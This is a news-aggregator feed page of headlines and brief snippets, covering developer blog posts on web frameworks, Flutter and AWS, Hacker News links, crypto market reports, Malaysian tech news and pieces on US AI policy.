speed, speed, and can we go even faster? Best, Evan  ( 4 min )
    Design Philosophy of Zero-Dependency Web Framework(5066)
    GitHub Homepage During my junior year studies, I have encountered many different web frameworks, from Spring Boot's "convention over configuration" to Django's "batteries included." Each framework has its unique design philosophy. Recently, I discovered an impressive web framework that adopts a completely different design philosophy—zero-dependency design. This minimalist design philosophy made me reconsider the essence of software architecture. In my previous project experience, dependency management has always been a headache. Taking a typical Spring Boot project as an example, even the simplest "Hello World" application requires introducing numerous dependencies. org.springframework…  ( 8 min )
    How to Implement Video Casting in Flutter
    Hey folks! Today I’ll show you how to implement a casting feature in your Flutter app — "Cast" is the ability to send media (like video or audio) from your app to another device, Casting protocols work mainly in two ways: Chromecast (Google Cast): The receiver device (usually a smart TV or dongle) runs a player and receives control commands over the network. AirPlay (Apple): Native on Apple TVs and compatible smart TVs. iOS can also mirror the screen when casting isn't supported directly. ## Documentation and Useful Links Cast package on pub.dev: https://pub.dev/packages/cast Google Cast SDK Developer Docs: https://developers.google.com/cast/docs/developers Apple AirPlay Overview: https://developer.apple.com/airplay/ flutter_to_airplay package: https://pub.dev/packages/flutter_to_air…  ( 4 min )
    Building Scalable Web Apps on AWS: My Hands-On Journey with ALBs, ASGs, and Custom VPCs
    Posted at 5 AM, after another late-night deep dive into the cloud. After learning from a painful mistake last night (read my previous post if you're curious), I promised myself to rebuild everything from scratch today, this time the right way. And I did. I combined my learnings from the past two days: Application Load Balancers and Auto Scaling Groups into one working mini project. To keep it structured, here’s what the setup looked like: VPC Setup: Created a custom VPC with 3 public and 3 private subnets (spread across multiple Availability Zones for high availability). Internet & NAT Gateways: Attached an Internet Gateway (IGW) to allow public access to public subnets. Deployed one NAT Gateway per public subnet to route internet traffic for the private subnets securely. Routing & Secur…  ( 4 min )
    High-Performance Routing System Design and Implementation(2041)
    GitHub Homepage During my junior year studies, routing systems have always been the core component of web frameworks. Traditional routing implementations often face performance bottlenecks when handling large numbers of routes, especially in complex path matching scenarios. Recently, I deeply studied a Rust-based web framework whose routing system design gave me a completely new understanding of high-performance routing implementation. In my previous projects, I used various traditional routing solutions. While functional, they often have performance issues when dealing with complex routing scenarios. // Traditional Express.js routing implementation const express = require('express'); const app = express(); // Simple route definitions app.get('/', (req, res) => { res.send('Home page'); …  ( 9 min )
    TCP Optimization Techniques for Web Server Performance(6345)
    GitHub Homepage: https://github.com/eastspire/hyperlane My journey into TCP optimization began during a network programming course where our professor challenged us to minimize connection latency for a real-time trading system. Most students focused on application-level optimizations, but I discovered that the greatest performance gains come from understanding and optimizing the underlying TCP layer. This exploration led me to techniques that dramatically improved web server performance. The breakthrough moment came when I realized that default TCP settings are optimized for general internet traffic, not for the specific requirements of high-performance web servers. By applying targeted TCP optimizations, I achieved response time improvements of 30-40% while maintaining connection stabilit…  ( 7 min )
    How to Manage virtual machines
    Let's get our hands deity with the step-by-step guide on how to manage virtual machines Move the virtual machine network to the new subnet Login to Microsoft Azure at https://portal.azure.com virtual machines. guided-project-vm virtual machine. If the virtual machine is running, select** Stop** and Wait for the Status field to update and show Stopped (deallocated). Select the Network interface / IP configuration hyperlink for the VM. Update the Subnet to ftpSubnet and Select Apply. home to return to the home page, we have successfully migrated the VM from one subnet to another Vertically scale the virtual machine -Search and select virtual machines under services. guided-project-vm virtual machine. Select a new VM size and resize home, With the VM scaled up to a more robust processor, it can now handle a new role. Attach data disks to a virtual machine Select virtual machines under services. guided-project-vm virtual machine. Disks. Select Create and attach a new disk. ftp-data-disk for the Disk name. 20 for the Size. Apply to create the new storage disk and attach the disk to the machine. With this, the VM has enough space to handle more uploads. Select Home. Lastly, we are going to Configure automatic shutdown on a virtual machine to save cost From the Azure portal home page,Select virtual machines **under services. virtual machine. submenu, select Auto-shutdown. 7:15:00 PM. We have successfully completed the task on How to Manage virtual machines. Kindly like, comment and share.  ( 3 min )
    Umemura Farm Website – Devlog #41: LP is completed!
    Project Launch: Umemura Farm - Award-Winning Asparagus Direct Sales & Farmstay Experience LP What is this LP about? I just completed a comprehensive landing page for Umemura Farm, a family-run asparagus farm in Saga, Japan. This project showcases a unique dual value proposition: premium asparagus direct sales (sweet enough to eat raw, gold award winner from vegetable sommelier competitions) and exclusive farmstay experiences (limited to one group per day). Target Audience: Health-conscious consumers seeking premium vegetables Families interested in authentic farm-to-table experiences Travelers looking for genuine Japanese countryside stays Gift buyers seeking unique, high-quality Japanese produce Background & Challenges: Saga Prefecture is Japan's 2nd largest asparagus producer but lacks …  ( 6 min )
    HTTP Response Optimization and Streaming Techniques(9957)
    GitHub Homepage: https://github.com/eastspire/hyperlane My journey into HTTP response optimization began during a project where we needed to serve large datasets to web clients efficiently. Traditional approaches of building complete responses in memory before sending created both latency and memory pressure issues. This challenge led me to explore streaming response techniques that could dramatically improve both performance and user experience. The breakthrough came when I realized that most web frameworks treat response generation as a monolithic operation, missing opportunities for optimization through streaming, compression, and intelligent buffering. My research revealed a framework that implements sophisticated response handling patterns optimized for both throughput and latency. HT…  ( 9 min )
    AR Smart Glasses HUD – Office Life Through CSS Art
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space For this challenge, I created an Augmented Reality Smart Glasses HUD – showing a digital overlay of "office culture" as if you are wearing AR glasses in a modern workspace. The design combines classic office details (open space, busy desks) with a futuristic, clean heads-up display (HUD): popups, notifications, battery, project progress, and a real-time message all blend into a sci-fi vision of our digital work lives. Everything is rendered using pure CSS and HTML, with a touch of JavaScript only for animation and typewriter effects. GitHub Repo: github.com/Noelmarketing/smartglasses Live Preview: https://noelmarketing.github.io/smartglasses/ The idea was to visualize the feeling of being "augmented" at work: Our productivity, chats, calls, and KPIs always in view – through the lens of office glasses. CSS Art Approach: I wanted to see how far I could push CSS for drawing UI, reflections, scanlines, glowing borders, AR effects, and even realistic glass reflections. Positioning Challenge: The biggest challenge was positioning the glasses and their "temples" (side bars) so they always connect exactly to the lens edge, at every screen size. Accessibility: I added a High Contrast mode for accessibility. Animations: Animated popups, subtle scanlines, and a typewriter effect make it feel alive but never distracting. AI/Assistance: This project was built with the help of ChatGPT – for brainstorming, code structure, debugging CSS, and making the layout as clean as possible. All creative choices, UI design, and the final assembly are my own. What I learned: Advanced CSS masking and gradients Complex responsive positioning (without external frameworks) How to create a visually attractive and "AR" style HUD only with CSS Created by Noelmarketing License: MIT Thank you for the great challenge and for giving CSS art a place to shine!  ( 4 min )
    Friender: Building Real Friendships in a World of Swipe Fatigue
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. Before the hackathon even began, I was wrestling with a question that felt deeply personal: Why is it so hard to meet people in real life, even though we’re more digitally connected than ever? I wasn’t interested in building another dating app or generic social media feed. I wanted something that made it easier for people to say, “I’m going to this park,” or “I want to try this coffee shop,” and actually find others who want to join. So I built Friender. Friender is a social app for people who are tired of swiping, ghosting, and endless small talk. It helps you meet others through shared activities and interests. No bios, no AI-generated icebreakers, no pressure to impress. Just real-world intentions …  ( 5 min )
    Byte string in Python (2)
    Buy Me a Coffee☕ *Memos: My post explains a byte string. My post explains a string. bytes() can create a byte string with or without many kinds of objects or can decode a bytes-like object as shown below: *Memos: The 1st argument is source(Optional-Default:b''-Type:bytes-like object/int/iterable(int) or Required-Type:str): *Memos: It's optional with the default values b'' and bytes-like object/int/iterable(int) types if encoding or encoding and errors isn't/aren't set. *int gives a null value(\x00) which represents no value. It's required with str to encode if encoding or encoding and errors is/are set, working as str.encode(). The 2nd argument is encoding(Optional-Default:'utf-8'): *Memos: 'utf-8', 'utf-7', 'utf-16', 'big5', 'ascii', etc can be set to it. You can see Standard Encodin…  ( 4 min )
    Title: Social Security's AI Phone Glitches and Long Call Times: A Customer Service Audit
    Title: Social Security's AI Phone Glitches and Long Call Times: A Customer Service Audit Introduction The Social Security Administration (SSA) has been under fire for several issues that have affected its customers' experiences. These issues include AI phone glitches, long call times, and website outages. In response to these concerns, Elizabeth Warren, a senator, met with the SSA commissioner to discuss the need for a customer service audit. This blog post will explore the issues faced by SSA customers and the potential solutions that could be implemented to improve their experiences. AI Phone Glitches One of the main issues faced by SSA customers is the AI phone system. The system has been known to cause errors and glitches that can lead to incorrect information being provided to custo…  ( 4 min )
    GUIA PRÁTICO DE COMANDOS DO DOCKER #1
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    Modern Server-Side Event Implementation(3804)
    GitHub Homepage During my junior year studies, server-side push technology has always been a key focus area. Compared to traditional client polling, server-side push enables true real-time data transmission, significantly improving user experience. Recently, I deeply studied a Rust-based web framework whose Server-Sent Events (SSE) support gave me a completely new understanding of modern push technologies. In my previous projects, I tried various traditional push technology solutions. While traditional Ajax polling is simple, it's inefficient and wasteful of resources. // Traditional Ajax polling implementation class TraditionalPolling { constructor(url, interval = 5000) { this.url = url; this.interval = interval; this.isRunning = false; this.timeoutId = null; } star…  ( 8 min )
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    Train a 70b language model at home (2024)
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    Air Force unit suspends use of Sig Sauer pistol after shooting death of airman
    Comments  ( 10 min )
    Trying to play an isomorphic piano (2022) [video]
    Comments
    Drafting Software Recommendation
    Comments  ( 2 min )
    Show HN: Local Email Client for AI Horseless Carriages
    Comments  ( 20 min )
    Show HN: A code editor that integrates into the browser
    Comments
    Windsurf employee #2: I was given a payout of only 1% what my shares where worth
    Comments
    Major Quantum Computing Advance Made Obsolete by Teenager
    Comments  ( 8 min )
    OpenAI prepares to launch GPT-5 in August
    Comments  ( 50 min )
    No One Knows Anything About AI
    Comments  ( 12 min )
    Aeneas transforms how historians connect the past
    Comments  ( 8 min )
    Software Development at 800 Words per Minute
    Comments  ( 10 min )
    When swiping supplants scissors: The hidden cost of touchscreens
    Comments
    There is no memory safety without thread safety
    Comments  ( 6 min )
    Everything Else
    Comments  ( 7 min )
    Blender: Beyond Mouse and Keyboard
    Comments  ( 7 min )
    Show HN: Nia – MCP server that gives more context to coding agents
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    The FastLanes File Format [pdf]
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    Government-Funded Alchemy
    Comments
    Fourble turns lists of MP3 files hosted anywhere into podcasts
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    Use Your Type System
    Comments  ( 3 min )
    A list of changes to make it easier to build beautiful and walkable places
    Comments
    Transformers Without Normalization
    Comments  ( 2 min )
    PSA: SQLite WAL checksums fail silently and may lose data
    Comments  ( 3 min )
    200k Flemish drivers can turn traffic lights green
    Comments  ( 5 min )
    Instagram Temporarily Suspends Zohran Mamdani's Account
    Comments  ( 12 min )
    AMD CEO says U.S.-made TSMC chips are 5%-20% more expensive, but worth it
    Comments  ( 50 min )
    You can't outrun a bad diet
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    Solid protocol restores digital agency
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    UK: Phone networks down: EE, BT, Three, Vodafone, O2 not working in mass outage
    Comments  ( 11 min )
    A valid HTML zip bomb
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    UnitedHealth says it is facing DOJ investigation over Medicare billing practices
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    Vet is a safety net for the risky curl | bash pattern
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    Dual-Brain Challenge Tetris Game
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    StackSafe: Taming Recursion in Rust Without Stack Overflow
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    Wix: Introduce the Open Source Maintenance Fee
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    Web fingerprinting is worse than I thought
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    Thunder Compute (YC S24) Is Hiring a C++ Systems Engineer
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    System View for Inspecting DSM Registry Allocations in PostgreSQL
    Comments  ( 2 min )
    What does connecting with someone mean?
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    Detekt – A static code analyzer for Kotlin
    Comments  ( 1 min )
    XOR_singleheader: Header-only binary fuse and XOR filter library
    Comments  ( 12 min )
    VectorDB bench now support S3Vector
    Comments  ( 3 min )
    BlueOS Kernel – Written in Rust, compatible with POSIX
    Comments  ( 5 min )
    Algorithm for simulating phosphor persistence of analog oscilloscopes
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    Itch.io: Update on NSFW Content
    Comments
    Shattering the Rotation Illusion: The Attacker View & AWSKeyLockdown
    Comments  ( 13 min )
    Getting decent error reports in Bash when you're using 'set -e'
    Comments  ( 1 min )
    CVE-2025-54090: Apache HTTP Server: 'RewriteCond expr' always evaluates to true
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    Why I write recursive descent parsers (despite their issues)
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    How to Catch a Wily Poacher in a Sting: A Thermal Robotic Deer
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    When photography was born, fascination, obsession, and danger followed
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    Low cost mmWave 60GHz radar sensor for advanced sensing
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  • Open

    Anthropic unveils ‘auditing agents’ to test for AI misalignment
    Anthropic developed its auditing agents while testing Claude Opus 4 for alignment issues.  ( 8 min )
    Freed says 20,000 clinicians are using its medical AI transcription ‘scribe,’ but competition is rising fast
    Rather than chase enterprise contracts with large hospital systems, Freed has focused on small clinics and solo practitioners.  ( 9 min )
  • Open

    Elon Musk’s xAI Partners With Kalshi to Bring Grok to Prediction Markets
    The partnership aims to use Grok’s AI to analyze real-world events for Kalshi’s regulated prediction markets.
    Polkadot's DOT Bounces After 7% Decline
    The token rebounded from overnight lows with high volume confirmation as institutional selling pressure was absorbed by buyers.
    Yuga Labs Bored Ape Yacht Club $9M Win Against Ryder Ripps Overturned, Must Better Prove Trademark Infringement
    Yuga Labs will need to continue defending its suit against Ryder Ripps, the creator of RR/BAYC.
    ICP Falls Sharply From $5.76 High Amid Renewed Bearish Pressure
    Internet Computer drops after touching key resistance, but continued leading all crypto projects in development activity.
    Why 'Expensive' Ethereum Will Dominate Institutional DeFi
    You shouldn’t judge Ethereum by retail metrics, says Martin Burgherr, Chief Clients Officer at Sygnum Bank.
    Michael Saylor's Strategy Boosts Latest Preferred Share Raise to $2B From $500M: Bloomberg
    The company announced the STRC offering on Monday, originally planning to issue 5 million shares at $100 each.
    NEAR Protocol Rebounds 9% as Investors Capitalize on Market Dislocation
    Strategic alliance with Everclear positions blockchain firm to capture share of $1 trillion cross-chain settlement opportunity amid regulatory clarity push.
    BONK Jumps 6.5% as Solana-Based Meme Token Captures Market Share
    BONK rebounds sharply with bullish momentum after 18% intraday swing, supported by ecosystem expansion and Solana launchpad dominance
    ATOM Surges 7% After Sharp Plunge to $4.47 Support Level
    Cryptocurrency recovers with strong volume exceeding 2.28 million units amid ongoing geopolitical market tensions.
    Ether Surges 4% as ETH Treasury Firm BitMine Steps Up Bid to Acquire 5% of Supply
    BitMine reveals ETH holdings above $2 billion just 16 days after a $250 million raise, reinforcing its goal of acquiring 5% of ether's supply.
    Retail XRP Holders Could Soon Earn 20% Yield on Their Tokens
    The platform routes XRP deposits into smart contract vaults that automatically deploy capital across vetted DeFi strategies, all while maintaining user-controlled access and withdrawals.
    Ether Treasury Company GameSquare Buys CryptoPunk NFT for $5.15M
    The Frisco, Texas-based firm also added to its ether treasury, buying 2,742.75 ETH, worth just over $10 million
    Ethena Taps Anchorage to Issue $1.5B USDtb Stablecoin Under GENIUS Act
    Ethena's token ENA was up 10%, outperforming the broader crypto market that saw many altcoins plunging overnight.
    SUI Rebounds After Overnight Sell-Off Amid ETF Momentum
    The token rebounded to $3.78 following a heavy overnight dip, as two spot ETF filings hint at rising institutional interest.
    Solana Players Unveils ‘Internet Capital Markets’ Roadmap
    The roadmap was coauthored from key leaders of the Solana ecosystem and centers on ‘Application-Controlled Execution’
    Crypto for Advisors: Blockchain and the Music Industry
    Blockchain disrupts beyond finance! Explore how on-chain music rights revolutionize ownership & royalties, impacting artists & investors.
    Stablecoin Supply to Grow as Much as $75B Following Passage of GENIUS Act, BofA Says
    The bank expects further adoption of tokenized assets and money market mutual funds once the crypto market structure bill, the CLARITY Act, becomes law.
    CoinDesk 20 Performance Update: Aptos (APT) Declines 5.3% as Index Trades Lower
    Polkadot (DOT) was also among the underperformers, falling 3.9% from Wednesday.
    Crypto Inflows Surge to $60B Year-to-Date, Outpacing Private Equity: JPMorgan
    The friendlier regulatory climate in the U.S. has led to an increase in digital asset inflows in recent months, the report said.
    Multisig Failures Dominate as $2B Is Lost in Web3 Hacks in the First Half
    A wave of multisig-related hacks and operational misconfiguration led to catastrophic losses in the first half of 2025.
    BNB Falls 4.3% as Traders Eye Key Support Levels After Record High
    The cryptocurrency is currently testing a critical support zone around $744-$753, with traders watching to see if it holds or breaks.
    XRP Rebounds From Nearly $3 After 10% Drop, Signals Possible Bottom
    Technical recovery pattern emerges following steep selloff, with key resistance levels tested and higher lows forming.
    Focus on Bitcoin-Yen's 'Descending Triangle' as Fed Rate Cut Bets Rise
    Traders are ramping up expectations for Fed rate cuts in 2026, which supports the bull case in BTC; however, the bond yield differential suggests JPY strength ahead.
    Solana Eyes 66% Block Size Bump With New Developer Proposal as Network Demand Grows
    The new proposal, SIMD-0286, suggests raising the per-block compute limit from 60 million to 100 million compute units.
    Altcoin Season Hope Dim as Traders Unwind Bullish Bets: Crypto Daybook Americas
    Your day-ahead look for July 24, 2025
    Ghana Plans Crypto Firm Licensing in Response to Growing Demand: Bloomberg
    The country's central bank is finalizing a regulatory approval to submit to parliament by September.
    Crypto Industry Asks President Trump to Stop JPMorgan’s 'Punitive Tax' on Data Access
    A coalition of fintech and crypto trade groups is urging the White House to defend open banking and stop JPMorgan from charging fees to access customer data.
    BTC, XRP, SOL, ETH Witness 'Long Squeeze' as Futures Open Interest Slides With Prices
    Thursday's drop in major tokens is likely led by the unwinding of leveraged bullish positions rather than new bearish plays.
    Dogecoin Plunges 11% as Institutional Bets Seen Exiting Amid Heavy Selloff
    Temporary support emerged at $0.23 by 21:00, driven by visible accumulation, but subsequent upside attempts consistently faltered at the $0.24 resistance zone.
    Bitcoin Volatility Index and the S&P 500 VIX Boast Record 90-Day Correlation
    The correlation between BTC's implied volatility indices and the S&P 500 VIX recently hit a record 0.88.
    FTX to Start Next Round of Creditor Repayments on Sept. 30
    The former crypto giant used to be a mainstay in the digital asset ecosystem till a CoinDesk expose in 2022 resulted in the downfall of Sam Bankman-Fried's empire.
    XRP Ledger Tapped for Tokenizing $130M Agribusiness Credit as Brazil's RWA Push Accelerates
    The CRA, a key instrument used to bundle future cash flows from Brazil’s agricultural sector was recorded on-chain using the XRPL and its Ethereum-compatible EVM sidechain.
    Ether, XRP Trades Book Bigger Losses Than Bitcoin as Bulls See $680M Liquidations
    Large long liquidations often signal panic bottoms, while short liquidations may precede a squeeze.
    Asia Morning Briefing: Animoca Exec Says U.S. Heat Is Pushing China's Stablecoin Agenda
    Beijing once warned of stablecoin risks. Now it’s turning to them to help stem the growth of U.S. dollar-pegged tokens in Asia.
  • Open

    Trump’s AI Action Plan is a distraction
    On Wednesday, President Trump issued three executive orders, delivered a speech, and released an action plan, all on the topic of continuing American leadership in AI.  The plan contains dozens of proposed actions, grouped into three “pillars”: accelerating innovation, building infrastructure, and leading international diplomacy and security. Some of its recommendations are thoughtful even if…  ( 26 min )
    America’s AI watchdog is losing its bite
    Most Americans encounter the Federal Trade Commission only if they’ve been scammed: It handles identity theft, fraud, and stolen data. During the Biden administration, the agency went after AI companies for scamming customers with deceptive advertising or harming people by selling irresponsible technologies. With yesterday’s announcement of President Trump’s AI Action Plan, that era may…  ( 22 min )
    The Download: gas and oil’s role in climate tech, and using AI to decipher ancient Latin
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. What role should oil and gas companies play in climate tech? —Casey Crownhart After writing about Quaise, a geothermal startup that’s trying to commercialize new drilling technology, I’ve been thinking about the role…  ( 20 min )
    What role should oil and gas companies play in climate tech?
    This week, I have a new story out about Quaise, a geothermal startup that’s trying to commercialize new drilling technology. Using a device called a gyrotron, the company wants to drill deeper, cheaper, in an effort to unlock geothermal power anywhere on the planet. (For all the details, check it out here.)  For the story,…  ( 22 min )
  • Open

    From Idea to Launch – The Ultimate Tool Stack for Indie Hackers
    If you’re building something on your own, you don’t have time to mess around with bloated platforms or complicated setups. You want tools that work, tools that feel intuitive, and tools that help you move quickly from idea to launch. This article w...  ( 8 min )
    How to Integrate Firebase into Your Flutter Applications: A Handbook for Developers
    In the world of software development, speed, scalability, and user experience are paramount. Flutter, with its expressive UI toolkit and native compilation, offers an unparalleled frontend experience, while Firebase, Google's robust Backend-as-a-Serv...  ( 38 min )
  • Open

    Hypershell Exoskeleton Now Available In Malaysia From RM4,999
    Hypershell, the Shanghai-based robotics startup focused on exoskeleton technology, has officially brought its technology to our shores. As of today, you can now purchase the exoskeleton walking aid via the brand’s official digital store fronts and official product page. Available in three variants, the Hypershell Go X, X Pro, and Carbon X, the Hypershell X […] The post Hypershell Exoskeleton Now Available In Malaysia From RM4,999 appeared first on Lowyat.NET.  ( 34 min )
    Proton Launches New Facelifted X50; Staring Price RM89,900
    The national carmaker has finally launched the facelifted Proton X50 after much teasing and preview. This SUV now comes with a starting price of RM89,800, offering a redesigned and more powerful version than its predecessor. It is available in three variants: Executive, Premium, and Flagship. As we reported previously, the Proton X50 features a new […] The post Proton Launches New Facelifted X50; Staring Price RM89,900 appeared first on Lowyat.NET.  ( 35 min )
    Proton Launched The New Facelifted X50; Staring Price RM89,900
    The national carmaker has finally launched the facelifted Proton X50 after much teasing and preview. This SUV now comes with a starting price of RM89,800. For this price, you will be getting a redesigned and more powerful X50 compared to its predecessor, which is offered in three variants: Executive, Premium, and Flagship. As we reported […] The post Proton Launched The New Facelifted X50; Staring Price RM89,900 appeared first on Lowyat.NET.  ( 35 min )
    Huawei Pura 80 Series Arrives in Malaysia; Priced From RM4,599
    Shortly after the global launch of the Huawei Pura 80 series, the brand confirmed that it would be bringing two of the models in the lineup to our shores. And just as promised, the Pura 80 Pro and the Pura 80 Ultra have made their local debut today. To start off, the Pura 80 Pro […] The post Huawei Pura 80 Series Arrives in Malaysia; Priced From RM4,599 appeared first on Lowyat.NET.  ( 35 min )
    DJI Officially Unveils Its Romo Robot Vacuum
    DJI has officially announced its first robot vacuum, the DJI Romo. After months of speculation and leaks, the company released a teaser through Weibo, setting the stage for a formal unveiling in China on 6 August 2025 at 8PM local time. While full specifications are still under wraps, promotional materials have offered a first look […] The post DJI Officially Unveils Its Romo Robot Vacuum appeared first on Lowyat.NET.  ( 33 min )
    Temporary Full Closure Of Duke Highway’s Hillview Exit Later Tonight
    Konsortium Lebuhraya Utara-Timur (KL) Sdn. Bhd. (Kesturi) has announced a full closure on the Duta–Ulu Kelang Expressway (DUKE Highway), scheduled later tonight. The closure involves the Hillview exit, heading towards Taman Melawati / Ulu Kelang (Exit 3308A). This was announced by DUKE on their Facebook page. The temporary closure will take place tonight (24 July) […] The post Temporary Full Closure Of Duke Highway’s Hillview Exit Later Tonight appeared first on Lowyat.NET.  ( 33 min )
    DDR6 Memory With 17,600MT/s Speeds Expected To Launch in 2027
    The first batch of DDR6 memory are expected to make their commercial debut in 2027. Supposedly, many of the major memory makers are done with prototype designs and have shifted their focus to controller development. According to the Taiwan-based publication, Commercial Times, the list of memory makers include Samsung, micron, and SK Hynix, all of […] The post DDR6 Memory With 17,600MT/s Speeds Expected To Launch in 2027 appeared first on Lowyat.NET.  ( 33 min )
    PSA: A Facebook Post Claiming Casio Malaysia Outlet Closures Is A Scam
    Another day, another scam attempt. This time, it’s a ploy targeting Facebook users with the promise of a “good deal” on a G-SHOCK GPR-B1000 Rangeman for only RM179 – a price far below its actual retail value. Unsurprisingly, the offer is too good to be true. Masquerading as local media outlet Siakap Keli, a fake […] The post PSA: A Facebook Post Claiming Casio Malaysia Outlet Closures Is A Scam appeared first on Lowyat.NET.  ( 33 min )
    PlayStation Starts DualSense Multi Device Pairing Rollout
    One of the struggles with using a DualSense controller was using it wirelessly with multiple devices. If you’ve paired it with a PS5 and want to use it with your PC, you’ll have to repeat the pairing process with the console the next time you use it. PlayStation is finally changing this, but this comes […] The post PlayStation Starts DualSense Multi Device Pairing Rollout appeared first on Lowyat.NET.  ( 33 min )
    BYD Atto 2 Debuts In Malaysia For RM100,000
    After a series of teasers, BYD has finally launched the Atto 2 in the Malaysian market. The B-segment compact SUV is offered in only one variant, unlike the two variants available in China. Nevertheless, it seems that Malaysia is getting the best end of the deal in terms of performance. Before we explore why, let […] The post BYD Atto 2 Debuts In Malaysia For RM100,000 appeared first on Lowyat.NET.  ( 34 min )
    Government To Use eCOSS App To Tackle Subsidised Cooking Oil Smuggling
    The Ministry of Domestic Trade and Cost of Living (KPDN) recently introduced its mobile app of the Cooking Oil Prices Stabilisation Scheme, otherwise known as eCOSS, to the masses. The app, which is technically still in its trial phase, was rolled out in an effort to combat the rampant abuse of subsidised packaged cooking oil […] The post Government To Use eCOSS App To Tackle Subsidised Cooking Oil Smuggling appeared first on Lowyat.NET.  ( 34 min )
    YouTube Shorts Gets AI-Powered Photo-To-Video Tool
    YouTube has announced that it is introducing new generative AI features to Shorts, namely a tool for transforming a still image into a video. Aside from the new photo-to-video capabilities, users can also access a selection of special effects and an “AI playground”. These additions are powered by Google’s Veo 2 model, but YouTube fully […] The post YouTube Shorts Gets AI-Powered Photo-To-Video Tool appeared first on Lowyat.NET.  ( 35 min )
    Nintendo Game Boy Gets The LEGO Treatment For US$59.99
    The LEGO pop culture crossovers continue with pretty longstanding partner Nintendo. And this time it’s for the classic among classics, the Game Boy. The build involves 421 pieces for a brick that’s 14cm tall and 9cm wide, so just about the size of the real deal. It will, unfortunately, not come with any circuit boards, […] The post Nintendo Game Boy Gets The LEGO Treatment For US$59.99 appeared first on Lowyat.NET.  ( 34 min )
    Gobind: Malaysia To Lead SEA’s Gaming Insdustry With PlayStation Studios
    Digital Minister Gobind Singh Deo has said that Malaysia is Southeast Asia’s most complete game development ecosystem. He describes the country as “global-ready, thanks to the complementary pillars of academia, international development and service providers, technology and publishing and distribution”. And the minister is looking to “deepen this synergy”, following what is described as the […] The post Gobind: Malaysia To Lead SEA’s Gaming Insdustry With PlayStation Studios appeared first on Lowyat.NET.  ( 34 min )
    Economy Ministry: Govt Plans To Shift To A Net Disposable Income System For Targeted Subsidies
    In a written reply to Parliament, the Ministry of Economy (MOE) recently revealed that the government intends to shift away from the traditional B40, M40, and T20 income categories in favour of a new method based on net disposable income (NDI). This approach calculates household income after subtracting the Basic Expenditure of Decent Living (PAKW), […] The post Economy Ministry: Govt Plans To Shift To A Net Disposable Income System For Targeted Subsidies appeared first on Lowyat.NET.  ( 35 min )
    Apple Launches AppleCare One Plan In The US
    Apple has introduced AppleCare One, a new warranty service plan that covers up to three products for a fixed monthly price. Customers also have the option to add more devices to this protection plan for an additional cost per item. AppleCare One essentially offers the same benefits as AppleCare+, which include unlimited repairs for damage […] The post Apple Launches AppleCare One Plan In The US appeared first on Lowyat.NET.  ( 34 min )
    APAD: Maxim, InDrive Allowed To Resume Operations In Malaysia
    E-hailing platforms Maxim and InDrive have been granted permission to continue operations in Malaysia, following a successful appeal and implementation of corrective measures. However, the Land Public Transport Agency (APAD) has stated that both companies will remain under close scrutiny for the next three months, with progress reviews scheduled on a quarterly basis. The agency […] The post APAD: Maxim, InDrive Allowed To Resume Operations In Malaysia appeared first on Lowyat.NET.  ( 34 min )

  • Open

    I drank every cocktail
    Comments  ( 15 min )
    I made Tinder but it's only pictures of my wife and I can only swipe right
    Comments
    Book Review: Nixon's Memoirs
    Comments
    Shallow Water Is Dangerous Too
    Comments  ( 8 min )
    Implementing dynamic scope for Fennel and Lua
    Comments  ( 9 min )
    Jitsi privacy flaw enables one-click stealth audio and video capture
    Comments
    AI overviews cause massive drop in search clicks
    Comments  ( 8 min )
    AMD CEO sees chips from TSMC's US plant costing 5%-20% more
    Comments
    Developing Our Position on AI
    Comments  ( 13 min )
    Wife of ICEBlock app founder speaks out after DOJ fires her
    Comments  ( 28 min )
    AccuWeather to discontinue free access to Core Weather API
    Comments  ( 23 min )
    Major Rule About Cooking Meat Turns Out to Be Wrong
    Comments  ( 24 min )
    How to increase your surface area for luck
    Comments
    Why Do Victims of Massacres Go to Their Deaths?
    Comments  ( 12 min )
    Employee – CEO pay gap historically wide
    Comments
    Show HN: TheProtector – Linux Bash script for the paranoid admin on a budget
    Comments  ( 19 min )
    Meta Unveils Wristband for Controlling Computers with Hand Gestures
    Comments
    Boost HTML5 Game Performance with WebAssembly
    Comments  ( 21 min )
    AI.gov
    Comments  ( 5 min )
    UdeM researchers confirm a fifth potentially habitable planet around L 98-59
    Comments  ( 5 min )
    Cara – High Precision Robot Dog Using Rope
    Comments  ( 13 min )
    Hyperpb: 10x faster dynamic Protobuf parsing that's faster than generated code
    Comments  ( 9 min )
    The Promised LAN
    Comments  ( 3 min )
    Show HN: Apple Health MCP Server
    Comments  ( 11 min )
    Interactive Programming in C (2014)
    Comments  ( 6 min )
    Why Is There a Date of 1968 in the Intel Chipset Device Software Utility?
    Comments  ( 6 min )
    Cable Bacteria Are Living Batteries
    Comments  ( 15 min )
    FastVLM: Efficient Vision Encoding for Vision Language Models
    Comments  ( 34 min )
    Optery (YC W22) Is Hiring in Engineering, Legal, Sales, Marketing (U.S., Latam)
    Comments  ( 5 min )
    Base58 versus Base85 Encoding
    Comments  ( 6 min )
    AI Friend Apps Are Destroying What's Left of Society
    Comments  ( 16 min )
    Show HN: The missing link of a bookstore's tech stack
    Comments  ( 3 min )
    Reading QR codes without a computer
    Comments
    Millet mystery: Why staple crop failed to take root in ancient Japanese kitchens
    Comments  ( 10 min )
    You Can Now Disable All AI Features in Zed
    Comments  ( 23 min )
    Trip to moon required Apollo 11 crew to sign US Customs declaration to enter US
    Comments  ( 2 min )
    US AI Action Plan
    Comments  ( 9 min )
    A low power 1U Raspberry Pi cluster server for inexpensive colocation
    Comments  ( 37 min )
    Reverse Engineering the GHA Cache to Improve Performance
    Comments  ( 13 min )
    Stop Building AI Tools Backwards
    Comments  ( 12 min )
    Proxmox Donates €10k to the Perl and Raku Foundation
    Comments  ( 2 min )
    Algos and Code Performance: Your Code Works but Can It Handle Real Traffic?
    Comments  ( 18 min )
    Tram Trains
    Comments  ( 21 min )
    Show HN: Self-updating MCP server for official pip, uv, poetry and conda docs
    Comments  ( 8 min )
    Uber will let women drivers and riders request to avoid being paired with men
    Comments  ( 85 min )
    Why Elixir? A Rebuttal to Common Misconceptions
    Comments  ( 6 min )
    What to Expect from Debian/Trixie
    Comments  ( 13 min )
    Manticore Search: Fast, efficient, drop-in replacement for Elasticsearch
    Comments  ( 18 min )
    The Surprising gRPC Client Bottleneck in Low-Latency Networks
    Comments
    Reverse engineering GitHub Actions cache to make it fast
    Comments  ( 8 min )
